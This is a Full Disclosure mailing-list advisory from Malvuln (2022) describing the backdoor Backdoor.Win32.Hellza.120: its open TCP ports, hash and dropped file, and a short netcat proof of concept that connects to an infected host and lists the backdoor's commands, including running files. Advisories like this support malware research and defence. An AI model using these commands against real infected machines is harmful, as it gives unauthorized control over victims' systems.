full-disclosure - [FD] Backdoor.Win32.Hellza.120 / Unauthorized Remote Command Execution

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Message-ID: <CAAHK0WTqvQLpGFmHNhBJUJ7HhvefcyZtTv5+5Ue9HiYfDD3igQ@mail.gmail.com>
Date: Mon, 19 Sep 2022 20:25:22 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Hellza.120 / Unauthorized Remote Command
	Execution

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/2cbd0fcf4d5fd5fb6c8014390efb0b21.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hellza.120
Vulnerability: Unauthorized Remote Command Execution
Description: The malware listens on TCP ports 12122, 21.  Third-party
adversarys who can reach infected systems can issue commands made available
by the backdoor.
Family: Hellza
Type: PE32
MD5: 2cbd0fcf4d5fd5fb6c8014390efb0b21
Vuln ID: MVID-2022-0641
Dropped files: msdllsrv.exe
Disclosure: 09/19/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 12122
xrR_Server version:1.20 Beta R1.1

F (starts FTP if not running in case where the server was restarted)

L (logger)
L15_ *0.00 KB*

D (drives)
D 1C:\2D:\

E (run file)

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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